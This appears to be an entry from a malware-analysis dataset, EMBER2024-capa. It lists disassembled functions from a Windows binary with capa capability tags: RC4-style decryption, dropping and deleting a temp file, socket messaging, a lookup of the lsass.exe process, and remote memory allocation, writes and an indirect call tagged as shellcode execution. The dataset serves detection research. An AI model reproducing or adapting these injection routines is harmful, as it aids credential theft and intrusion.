joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140043780
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rbp, r8d
mov rbx, r9
mov r14, rdx
mov rdi, rcx
cmp dword [rsp + 0x50], ebp
jge 0x1400437ae
xor al, al
jmp 0x14004396d
mov qword [rsp + 0x30], rsi
lea r9, [rcx + 0x11c]
xor esi, esi
mov r8d, esi
nop
mov byte [r9 - 0x100], r8b
lea r9, [r9 + 1]
mov eax, r8d
inc r8d
cdq
idiv dword [rdi + 8]
mov rax, qword [rdi]
movsxd rcx, edx
movzx ecx, byte [rcx + rax]
mov byte [r9 - 1], cl
cmp r8d, 0x100
jl 0x1400437c0
mov rcx, rdi
call sym.Niuline.exe_private:_void___cdecl_CRC4::RangeState_void____ptr64
mov edx, ebp
mov rcx, rdi
call sym.Niuline.exe_private:_void___cdecl_CRC4::KeyStream_int____ptr64
test ebp, ebp
jle 0x140043932
cmp ebp, 8
jb 0x140043932
mov r9, qword [rdi + 0x10]
lea rcx, [rbp - 1]
lea rax, [rcx + r14]
lea r8, [rdi + 0x10]
lea rdx, [rcx + rbx]
cmp rbx, rax
ja 0x140043831
cmp rdx, r14
jae 0x140043932
lea rax, [r9 + rcx]
cmp rbx, rax
ja 0x140043843
cmp rdx, r9
jae 0x140043932
cmp rbx, r8
ja 0x140043851
cmp rdx, r8
jae 0x140043932
cmp ebp, 0x40
jb 0x1400438ee
mov eax, ebp
and eax, 0xffffffc0
mov rdx, r14
movsxd r11, eax
sub rdx, rbx
lea rcx, [rbx + 0x10]
mov r10, 0xfffffffffffffff0
sub r10, rbx
nop word [rax + rax]
movdqu xmm1, xmmword [rdx + rcx - 0x10]
lea rax, [r10 + rcx]
add esi, 0x40
movdqu xmm0, xmmword [rax + r9]
movdqu xmm2, xmmword [rcx + rdx]
lea rcx, [rcx + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax + r9 + 0x10]
movdqu xmmword [rcx - 0x50], xmm1
movdqu xmm1, xmmword [rdx + rcx - 0x30]
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax + r9 + 0x20]
movdqu xmmword [rcx - 0x40], xmm2
movdqu xmm2, xmmword [rdx + rcx - 0x20]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax + r9 + 0x30]
lea rax, [r10 + rcx]
movdqu xmmword [rcx - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rcx - 0x20], xmm2
cmp rax, r11
jl 0x140043880
mov eax, ebp
and al, 0x3f
cmp al, 8
jb 0x140043932
mov r8, qword [r8]
mov eax, ebp
and eax, 0xfffffff8
mov rdx, r14
movsxd rcx, esi
sub rdx, rbx
movsxd r9, eax
nop dword [rax]
nop word [rax + rax]
movq xmm0, qword [r8 + rcx]
lea rax, [rcx + rbx]
movq xmm1, qword [rdx + rax]
add esi, 8
add rcx, 8
xorps xmm1, xmm0
movq qword [rax], xmm1
cmp rcx, r9
jl 0x140043910
movsxd rax, esi
mov rsi, qword [rsp + 0x30]
cmp rax, rbp
jge 0x14004396b
sub r14, rbx
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rdi + 0x10]
lea r8, [rax + rbx]
movzx edx, byte [r14 + r8]
xor dl, byte [rcx + rax]
inc rax
mov byte [r8], dl
cmp rax, rbp
jl 0x140043950
mov al, 1
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140043e20
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x318
lea rdx, [rsp + 0x100]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 1
jge 0x140043e4f
xor al, al
jmp 0x140044088
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb0]
mov ecx, recv
call fcn.140043d50
lea rax, [rsp + 0x100]
mov qword [rsp + 0x50], rax
sub qword [rsp + 0x50], 2
add qword [rsp + 0x50], 2
mov rax, qword [rsp + 0x50]
cmp word [rax], 0
jne 0x140043e88
mov rax, qword [rsp + 0x50]
lea rcx, [rsp + 0xb0]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x140043ea8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140043ff0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x140043f41
xor al, al
jmp 0x140044088
mov dword [rsp + 0x44], 0xa448
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov ecx, eax
call fcn.14004703c
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x44]
lea rcx, [0x140099f30]
mov rdi, qword [rsp + 0x70]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp dword [rsp + 0x48], 0
ja 0x140043f88
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
call fcn.140046ca8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rdx, [rsp + 0x88]
mov ecx, reloc.WS2_32.dll_recv
call fcn.140043d50
lea rdx, [rsp + 0xd0]
mov ecx, recv
call fcn.140043d50
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x88]
call fcn.1400469c0
mov byte [rsp + 0x40], al
lea rcx, [rsp + 0x88]
call fcn.140046bd0
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
movzx eax, byte [rsp + 0x40]
add rsp, 0x318
pop rdi
pop rsi
ret
Function at 0x1400440f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov qword [rsp + 0x30], 0
mov eax, 6
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x20
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1400a4378]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x158]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x170]
mov dword [rax + 0x14], ecx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x178]
mov dword [rax + 0x18], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x140044208
cmp qword [rsp + 0x180], 0
je 0x1400441f7
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140044273
xor r9d, r9d
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 8
jae 0x140044255
cmp qword [rsp + 0x180], 0
je 0x140044244
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140044273
cmp qword [rsp + 0x180], 0
je 0x14004426e
mov rax, qword [rsp + 0x180]
mov dword [rax], 1
mov rax, qword [rsp + 0x30]
add rsp, 0x140
pop rdi
ret

Function at 0x140044280
Capabilities:
Connect socket

Disassembly:
push rdi
sub rsp, 0x40
movzx eax, word [0x1400a8750]
test eax, eax
jne 0x14004429d
mov rax, 0xffffffffffffffff
jmp 0x140044332
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov eax, 2
mov word [rsp + 0x28], ax
mov ecx, dword [0x1400a437c]
call sub.WS2_32.dll_htonl
mov dword [rsp + 0x2c], eax
movzx ecx, word [0x1400a8750]
call sub.WS2_32.dll_htons
mov word [rsp + 0x2a], ax
xor r8d, r8d
mov edx, 1
mov ecx, 2
call sub.WS2_32.dll_socket
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x140044300
mov rax, 0xffffffffffffffff
jmp 0x140044332
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x14004432d
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_closesocket
mov rax, 0xffffffffffffffff
jmp 0x140044332
mov rax, qword [rsp + 0x20]
add rsp, 0x40
pop rdi
ret
Function at 0x140044340
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
cmp qword [rsp + 0x160], 0
je 0x140044371
cmp qword [rsp + 0x170], 0
jne 0x140044391
cmp qword [rsp + 0x180], 0
je 0x14004438a
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
xor eax, eax
jmp 0x1400444f9
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x28
mov dword [rsp + 0x24], eax
mov eax, 3
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1400a4378]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x158]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x168]
mov dword [rax], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x170]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x178]
mov dword [rax + 0x20], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x14004448f
cmp qword [rsp + 0x180], 0
je 0x14004447e
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x1400444f9
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 4
jae 0x1400444dc
cmp qword [rsp + 0x180], 0
je 0x1400444cb
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x1400444f9
cmp qword [rsp + 0x180], 0
je 0x1400444f5
mov rax, qword [rsp + 0x180]
mov dword [rax], 1
mov eax, dword [rsp + 0x28]
add rsp, 0x140
pop rdi
ret
Function at 0x140044580
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov eax, 7
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x18
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1400a4378]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x158]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x170]
mov dword [rax + 0x14], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x140044680
cmp qword [rsp + 0x178], 0
je 0x14004466f
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x1400446eb
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 4
jae 0x1400446cd
cmp qword [rsp + 0x178], 0
je 0x1400446bc
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x1400446eb
cmp qword [rsp + 0x178], 0
je 0x1400446e6
mov rax, qword [rsp + 0x178]
mov dword [rax], 1
mov eax, 1
add rsp, 0x140
pop rdi
ret
Function at 0x140044700
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x158
cmp dword [rsp + 0x170], 1
jl 0x140044730
cmp dword [rsp + 0x178], 0
jne 0x140044737
xor eax, eax
jmp 0x140044931
mov qword [rsp + 0x38], 0
xor eax, eax
mov word [rsp + 0x20], ax
mov dword [rsp + 0x24], 4
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
cmp qword [rsp + 0x180], 0
je 0x140044784
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x180]
movsx eax, byte [rcx + rax]
test eax, eax
jne 0x1400447de
mov eax, 4
mov word [rsp + 0x20], ax
mov eax, dword [rsp + 0x24]
add rax, 4
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1400a4378]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x52], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x178]
mov dword [rax], ecx
jmp 0x14004487e
mov eax, 5
mov word [rsp + 0x20], ax
mov eax, dword [rsp + 0x24]
add rax, 0x84
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1400a4378]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x52], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x178]
mov dword [rax], ecx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x28], 0xffffffffffffffff
inc qword [rsp + 0x28]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
cmp byte [rax + rcx], 0
jne 0x14004484b
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
add rcx, 4
mov rdi, rcx
mov rsi, qword [rsp + 0x180]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x170]
call sub.WS2_32.dll_send
test eax, eax
jg 0x1400448c6
cmp qword [rsp + 0x188], 0
je 0x1400448b5
mov rax, qword [rsp + 0x188]
mov dword [rax], 0
mov rcx, qword [rsp + 0x170]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140044931
xor r9d, r9d
mov r8d, 8
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x170]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 8
jae 0x140044913
cmp qword [rsp + 0x188], 0
je 0x140044902
mov rax, qword [rsp + 0x188]
mov dword [rax], 0
mov rcx, qword [rsp + 0x170]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140044931
cmp qword [rsp + 0x188], 0
je 0x14004492c
mov rax, qword [rsp + 0x188]
mov dword [rax], 1
mov rax, qword [rsp + 0x38]
add rsp, 0x158
pop rdi
pop rsi
ret
Function at 0x140044940
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, str.SOFTWAREzyStudioKernelMem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14004497a
xor eax, eax
jmp 0x1400449f4
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x34], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140076408]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400449e5
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140076410]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x34]
add rsp, 0x58
ret

Function at 0x140044a00
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
lea rdx, [rsp + 0x20]
mov cx, 0x202
call sub.WS2_32.dll_WSAStartup
add rsp, 0x1c8
ret

Function at 0x140044a20
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
mov dword [rsp + 0x28], 0
mov eax, 8
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov dword [rsp + 0x24], 4
mov eax, dword [rsp + 0x24]
add rax, 0x18
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
movzx eax, word [0x1400a4378]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x20]
mov word [rsp + 0x42], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x158]
mov dword [rax], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x170]
mov dword [rax + 0x14], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x24]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_send
test eax, eax
jg 0x140044b28
cmp qword [rsp + 0x178], 0
je 0x140044b17
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140044b92
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_recv
cdqe
cmp rax, 4
jae 0x140044b75
cmp qword [rsp + 0x178], 0
je 0x140044b64
mov rax, qword [rsp + 0x178]
mov dword [rax], 0
mov rcx, qword [rsp + 0x150]
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140044b92
cmp qword [rsp + 0x178], 0
je 0x140044b8e
mov rax, qword [rsp + 0x178]
mov dword [rax], 1
mov eax, dword [rsp + 0x28]
add rsp, 0x140
pop rdi
ret
Function at 0x140044f20
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
call fcn.140046440
add rsp, 0x28
jmp 0x140044f20
push rdi
sub rsp, 0x680
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x200
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14004502b
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x6c]
call fcn.14004e44c
test eax, eax
jne 0x140045014
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140045014
lea rax, [rsp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea r9, [rsp + 0x24]
lea r8, [rsp + 0x280]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rdx, str.C:WindowsSystem32lsass.exe
lea rcx, [rsp + 0x280]
call fcn.14004e44c
test eax, eax
jne 0x140045000
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
je 0x140045014
jmp 0x14004502b
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140044f7a
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x680
pop rdi
ret
Function at 0x140045050
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x140045050
mov qword [rsp + 8], rcx
sub rsp, 0x38
xor eax, eax
test eax, eax
je 0x140045066
xor eax, eax
jmp 0x1400451af
cmp qword [rsp + 0x40], 0
jne 0x140045075
xor eax, eax
jmp 0x1400451af
cmp qword [0x1400a8760], 0
jne 0x1400450a3
lea rcx, [0x140076478]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140076460]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a8760], rax
mov rax, qword [rsp + 0x40]
mov qword [0x1400a8758], rax
mov dword [rsp + 0x20], 0
lea rcx, [0x140076488]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
lea rdx, [0x140076498]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a439b], rax
lea rdx, [0x1400764a8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a43fd], rax
lea rdx, [0x1400764c0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a445d], rax
lea rdx, [0x1400764d8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4497], rax
lea rdx, [0x1400764f8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a44c3], rax
lea rdx, [0x140076508]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a44d4], rax
lea rdx, [0x140076518]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4537], rax
lea rdx, [0x140076528]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a457b], rax
lea rdx, [0x140076538]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a45ca], rax
mov eax, 1
add rsp, 0x38
ret
Function at 0x140045460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140045460
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xc8
lea rax, [rsp + 0x88]
lea rcx, [0x1400a4380]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_gethostbyname
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1400454c9
xor eax, eax
jmp 0x14004565f
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x8f], eax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x96], eax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x9d], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb3], rax
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_gethostbyname
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1400a8758]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1400a8760]
test eax, eax
je 0x1400455cc
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
